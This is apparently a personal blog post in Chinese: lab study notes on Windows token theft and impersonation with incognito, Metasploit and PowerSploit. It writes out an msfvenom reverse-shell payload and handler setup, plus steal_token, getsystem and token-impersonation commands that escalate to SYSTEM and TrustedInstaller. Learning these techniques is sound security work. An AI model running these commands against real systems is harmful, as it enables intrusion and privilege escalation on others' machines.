D~DIDI~DIDIDI!!!!

0%

Token窃取与利用

0x01 emmm

很早之前看到的推送,关于token窃取和利用的相关文章,包含了常用的工具,和一些技巧,最近忙完考试开始整理学习一下

https://mp.weixin.qq.com/s/cOws1noDgaw_UUK29tmFeA

0x02 Token 简介

在windows中token有两种类型:

  • Delegation token(授权令牌):用于交互会话登陆(例如本地用户登录和远程桌面登陆)
  • Impersonation token(模拟令牌):用于非交互登陆(例如利用net use访问共享文件夹)

这两种token都只能在系统重启后清除

具有授权令牌的用户在注销后,token会变成模拟令牌,仍然有效

使用incognito在win server 2008上进行测试

.\incognito.exe list_tokens -u

1

在这里看到了five用户,利用该用户toke执行calc.exe

incognito.exe execute -c "TEST\a" calc.exe

2

0x03 Metasploit中的incognito

常用命令

加载incognito load incognito
列举token list_tokens -u
查看当前token getuid
提示至system权限 getsystem
token窃取 impersonate_token “NT AUTHORITY\SYSTEM”
从进程窃取 steal_token 1252
返回之前token rev2self or drop_token

这里两台机器

  • Kali:192.168.217.140

  • Win server 2008 : 192.168.217.141

首先在kali中生成一个payload,在win中执行,得到一个shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.217.140 LPORT=44444 X >test.exe

msfconsole

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 44444
set LHOST 192.168.81.140
exploit

get到一个shell后,加载incognito

load incognito

列举token:list_tokens -u

3

查看当前token:getuid

4

提升到system权限

5

token窃取

6

从进程窃取token

通过ps找到一个进程

7

执行:steal_token 860

8

0x04 Windows平台下的incognito

msf中的incognito本身就是从win中移植过去的,其实大部分操作命令都差不多

常见用法:

列举token:incognito.exe list_tokens -u

复制token:incognito.exe execute [options] <token> <command>

比如现在我们是Administrator

9

我们将其提权至SYSTEM并创建一个cmd

10

当然也可以降权到Administrator

11

0x05 Invoke-TokenManipulation.ps1用法

下载地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

原理和功能同incognito类似,能够实际提权和降权

列举token:Invoke-TokenManipulation -Enumerate

提权至system:Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"

复制线程token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500

0x06 利用token获得TrustedInstaller权限

在windows中,最高的权限为TrustedInstaller,只有这个权限才能够在一些系统路径中进行操作,比如C:\Windows\servicing,SYSTEM没有写入权限,只有TrustedInstaller才有

12

我们先启动一个TrustedInstaller服务,查看它的Owner

13

在kali获取到的shell中获取到TrustedInstaller.exe的Token

14

15

写一个文件验证,成功写入

16

这里我只尝试了一种方法,原链接还提到了其他的方法就不尝试了(懒)~

2333